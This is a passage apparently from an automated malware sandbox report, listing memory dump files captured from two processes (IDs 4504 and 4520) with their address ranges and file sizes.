                                                                        • memory/4504-132-0x000002272B270000-0x000002272B2F2000-memory.dmp

                                                                          Filesize

                                                                          520KB

                                                                        • memory/4504-143-0x000002272B210000-0x000002272B220000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                        • memory/4504-142-0x000002272B230000-0x000002272B252000-memory.dmp

                                                                          Filesize

                                                                          136KB

                                                                        • memory/4504-144-0x000002272B640000-0x000002272B742000-memory.dmp

                                                                          Filesize

                                                                          1.0MB

                                                                        • memory/4520-501-0x00000000066F0000-0x0000000006700000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                        • memory/4520-283-0x00000000055C0000-0x000000000565C000-memory.dmp

                                                                          Filesize

                                                                          624KB

                                                                        • memory/4520-286-0x00000000061C0000-0x00000000062C2000-memory.dmp

                                                                          Filesize

                                                                          1.0MB

                                                                        • memory/4520-326-0x0000000007200000-0x0000000007292000-memory.dmp

                                                                          Filesize

                                                                          584KB

                                                                        • memory/4520-285-0x0000000005660000-0x00000000056C6000-memory.dmp

                                                                          Filesize

                                                                          408KB

                                                                        • memory/4520-314-0x0000000006C10000-0x0000000006C86000-memory.dmp

                                                                          Filesize

                                                                          472KB

                                                                        • memory/4520-284-0x0000000005C10000-0x00000000061B4000-memory.dmp

                                                                          Filesize

                                                                          5.6MB

                                                                        • memory/4520-594-0x0000000008690000-0x00000000086A4000-memory.dmp

                                                                          Filesize

                                                                          80KB

                                                                        • memory/4520-703-0x0000000007D30000-0x0000000007D40000-memory.dmp

                                                                          Filesize

                                                                          64KB

                                                                        • memory/4520-315-0x00000000055B0000-0x00000000055C4000-memory.dmp

                                                                          Filesize

                                                                          80KB

                                                                        • memory/4520-225-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                          Filesize

                                                                          88KB

                                                                        • memory/4520-1134-0x000000001BD50000-0x000000001BD79000-memory.dmp

                                                                          Filesize

                                                                          164KB

                                                                        • memory/4520-1132-0x0000000078540000-0x00000000787BE000-memory.dmp

                                                                          Filesize

                                                                          2.5MB

                                                                        • memory/4520-1133-0x00000000787C0000-0x000000007885B000-memory.dmp

                                                                          Filesize

                                                                          620KB

                                                                        • memory/4520-1131-0x0000000078340000-0x00000000783F9000-memory.dmp

                                                                          Filesize

                                                                          740KB

                                                                        • memory/4520-325-0x0000000006EF0000-0x0000000006F0E000-memory.dmp

                                                                          Filesize

                                                                          120KB